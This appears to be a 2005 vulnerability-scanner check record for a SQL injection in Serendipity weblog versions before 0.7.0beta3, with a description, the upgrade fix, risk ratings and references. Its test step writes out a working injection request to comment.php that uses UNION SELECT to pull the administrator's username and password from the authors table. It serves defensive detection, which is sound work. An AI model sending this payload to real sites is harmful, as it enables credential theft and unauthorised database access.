312
Serendipity prior 0.7.0beta3 SQL injections
CGI
2005/01/05
Marc Ruef
marc.ruef at computec.ch
http://www.computec.ch
computec.ch
1.0
tcp
80
open|send GET /comment.php?serendipity[type]=trackbacks&serendipity[entry_id]=0%20and%200%20union%20select%201,2,3,4,username,password,7,8,9,0,1,2,3%20from%20serendipity_authors%20where%20authorid=1%20/* HTTP/1.0\n\n|sleep|close|pattern_exists HTTP/#.# 200 *0 and 0 union select 1,2,3,4,username,password,7,8,9,0,1,2,3 from serendipity_authors where authorid=1*
99
The NASL script is Copyright (C) 2004 Tenable Network Security
Serendipity prior 0.7.0beta3
SQL Injection
The remote host is running Serendipity, a weblog written in PHP. The remote version of this software is vulnerable to a SQL injection issue due to a failure of the application to properly sanitize user-supplied URI input. An attacker may exploit this flaw to issue arbitrary statements in the remote database, and therefore bypass authorization or even overwrite arbitrary files on the remote system.
Upgrade to Serendipity 0.7.0beta3 or newer.
Approx. 20 minutes
Yes
http://www.securityfocus.com/bid/11269/exploit/
Yes
Yes
High
6
8
8
8
High
Nessus can check this flaw with the plugin 14842 (Serendipity SQL Injections).
11269
14842
Hacking Exposed: Network Security Secrets & Solutions, Stuart McClure, Joel Scambray and George Kurtz, February 25, 2003, 4th Edition, McGraw-Hill Osborne Media, ISBN 0072227427
http://www.computec.ch